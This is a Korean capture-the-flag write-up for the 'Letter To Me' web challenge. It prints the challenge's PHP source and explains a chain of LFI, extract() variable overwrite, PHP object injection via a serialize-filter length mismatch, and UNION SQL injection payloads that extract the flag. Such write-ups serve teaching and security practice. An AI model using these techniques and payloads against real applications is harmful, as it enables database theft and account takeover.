Attack - Letter To Me(300 pts)
문제를 살펴보면 플래그는 DB 안에 있다는 힌트가 있으며, sql 파일과 서버 주소를 던져줬다.
sql 파일을 살펴보면 아래와 같다.
메인 페이지는 위와 같다. login페이지와 register 페이지가 있는 것을 확인 할 수 있다.
register 페이지의 경우 관리자에게 문의하여 로그인하라는 메시지가 나온다.
관리자에게 연락 할 수는 없기 때문에 page 파라미터에서 발생하는 LFI 취약점을 이용하여 PHP Wrapper로 페이지 소스를 긁어온다.
index.php를 살펴보면 conn.php를 include 한 이후 extract로 GET과 POST 파라미터를 변수화 시켜준다. 이 때 conn.php 안에 있는 db 정보를 변경할 수 있기 때문에 문제 페이지에서 받았던 SQL 테이블 데이터를 외부 서버에 생성 후 연결하여 admin으로 로그인 할 수 있다.
이 때 로그인 이후에는 위와 같이(login.php) 문제 서버의 세션으로 로그인이 유지되기 때문에 로그인 상태를 유지 할 수 있다.
위는 admin으로 로그인 한 후의 상태이다. 사용자를 초대 할 수 있으며, 해당 계정으로 접속 시 메시지를 자신에게 보내고 받을 수 있는 send.php와 show.php에 접근 할 수 있다.
<?php function generateRS($length = 64) { $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; $charactersLength = strlen($characters); $randomString = '';
$urandom = fopen("/dev/urandom", "rb"); for ($i = 0; $i < $length; $i++) { $randomString .= $characters[ord(fread($urandom, 1)) % ($charactersLength - 1)]; } return $randomString; }
if(!ISSET($_SESSION['user']) || $_SESSION['user'] === "admin" || $_SESSION['user'] === "") { die("Nope!"); }
require "models.php"; if(isset($letter)) { $note = new note(); $note->user = $_SESSION['user']; $note->letter = $letter;
if($_FILES['file']['size'] > 0) { if($_FILES['file']['size'] > 30) { echo "too big"; } else if($_FILES['file']['error'] > 0 || !is_uploaded_file($_FILES['file']['tmp_name'])) { echo "error1"; } else { $uploadfile = "/var/www/html/uploads/".generateRS(); if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) { $fname = $_FILES['file']['name']; $note->addfile($fname, $uploadfile); } else { echo "error2"; } } } $note->add(); } ?> |
send.php
<?php if(!ISSET($_SESSION['user']) || $_SESSION['user'] === "admin" || $_SESSION['user'] === "") { die("Nope!"); }
require "models.php"; $user = $_SESSION['user']; $user = mysql_real_escape_string($user); $DB->execute("select data from notes where username=\"${user}\""); $notes = $DB->fetch_all();
foreach($notes as $note) { $note = unserialize($note);
echo "<br>"; $letter = $note->letter; $info = $note->resolve_file(); echo "<div class=\"container\">"; echo "<blockquote>"; echo "<p>${letter}</p>"; if(isset($info)) { $path = $info[1]; $name = $info[0]; echo "<footer>Attached file: <cite title=\"Source Title\"><a href=\"".$path."\" download=\"".$name."\">file</a></cite></footer>"; } else echo "<footer>Attached file: None</footer>"; echo "</blockquote>"; echo "</div>"; } ?> |
show.php
<?php class db { public $conn, $res; function __construct() { global $servername, $username, $password, $db_name; $this->conn = mysql_connect($servername, $username, $password) or die("connect error"); mysql_select_db($db_name); }
function execute($query) { $this->res = mysql_query($query) or die("SQL ERROR"); }
function fetch_all() { $res = array(); while($row = mysql_fetch_row($this->res)) { echo $row[0]; array_push($res, $row[0]); } return $res; }
function fetch_arr() { return mysql_fetch_array($this->res); }
function fetch_one() { $res = mysql_fetch_row($this->res); return count($res) > 0 ? $res[0] : NULL; }
function get_auto_incre() { return mysql_insert_id(); }
};
$DB = new db();
class note { public $user, $letter, $attached_file;
function addfile($realname, $filename) { global $DB;
$realname = mysql_real_escape_string($realname); $filename = mysql_real_escape_string($filename);
$DB->execute("insert into files values (NULL, \"${realname}\", \"${filename}\")"); $this->attached_file = $DB->get_auto_incre();
}
function add() { global $DB; $str = serialize($this); $str = $this->filter($str);
$user = mysql_real_escape_string($this->user); $str = mysql_real_escape_string($str); $DB->execute("insert into notes values (\"${user}\", \"${str}\")"); }
function filter($str) { global $profanity_word_replace; $filter_word = array("s**t", "f**k", "as*", "bi**h", "H**l"); foreach($filter_word as $word) { $replace = str_repeat($profanity_word_replace, strlen($word)); $word = preg_quote($word); $str = eregi_replace($word, $replace, $str); } return $str; }
function resolve_file() { global $DB; $id = $this->attached_file; if($id) { $DB->execute("select realname, path from files where id=${id}"); return $DB->fetch_arr(); } return NULL; } };
?> |
models.php
위 3개의 소스는 이 문제의 핵심인 send.php, show.php, models.php이다. models.php의 경우 index.php를 제외한 거의 대부분의 소스에서 include 하고 있는 소스이며, DB 관련 작업을 처리하는 함수의 정의가 담겨 있다.
send.php에서 파일을 업로드 할 경우 models.php에 정의되어있는 addfile 함수에서 DB에 파일 경로를 넣어준다. 또한 하나의 파일이 추가될때마다 자동으로 파일의 인덱스를 늘려주는 get_auto_incre 메소드를 사용하고 있다.
그리고 add 함수에서 사용자 이름과 해당하는 메시지를 저장하는데, 메시지를 저장할 때 serialize 함수를 이용하여 시리얼라이징 하며, filter 함수를 이용하여 유해 문자를 필터링 한다. 이 때, 시리얼라이징 이후 필터링을 거치기 때문에 s:4:”f**k”와 같이 시리얼라이징 되었을 경우 profanity_word_replace에 설정된 값만큼 4번 반복되어 값이 들어가진다. 현재 이 변수에 설정된 값은 conn.php에 ‘*’로 지정되어있으며, 이는 곧 f**k가 ****로 필터링 된다는 뜻이 된다. 하지만 extract 함수를 index.php에서 사용하고 있기 때문에 profanity_word_replace 변수의 값은 임의로 바꿀 수 있으며, 이를 이용하여 unserialize 함수를 사용하여 시리얼라이징을 해제, 객체화 할 때 취약점이 발생할 수 있다.
# table name f**k";s:13:"attached_file";s:119:"1 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0, 1) limit 1, 1";}
# column name f**k";s:13:"attached_file";s:127:"1 union select 1,(select column_name from information_schema.columns where table_name=0x4c544f4d5f466c3367 limit 0,1) limit 1,1
# flag f**k";s:13:"attached_file";s:68:"1 union select 1,(select flag from LTOM_Fl3g limit 0,1) limit 1,1 |
위와 같이 msg부분에 입력해주고, 전체 길이만큼 dummy byte로 채워지도록 profanity_word_replace를 재설정 한 후 요청하면 각각에 해당하는 결과를 얻을 수 있다
FLAG : SCTF{Enj0y_y0ur_0nly_life}